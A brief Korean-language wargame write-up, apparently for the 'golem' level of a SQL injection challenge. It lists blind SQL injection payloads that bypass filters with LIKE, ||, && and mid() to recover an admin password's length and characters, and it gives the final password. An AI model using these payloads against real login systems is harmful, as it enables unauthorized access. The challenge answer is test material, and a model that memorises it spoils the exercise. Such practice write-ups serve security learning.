level11 golem

 

?pw=1' || id like 'admin' && length(pw) like 8# -> 길이가 8이다!
?pw=1%27%20||%20id%20like%20%27admin%27%20%26%26%20length(pw)%20like%208%23

substr이 막혀서 이제 mid나 substring, right, left를 사용한다고한다.

?pw=%27%20||%20mid(pw,1,1)%20like%207%23
?pw=' || mid(pw,1,1) like 7#
mid(문자열,위치,길이)
select mid('abcde',2,2) -> bc

(substring도 같음)

?pw=77d6290b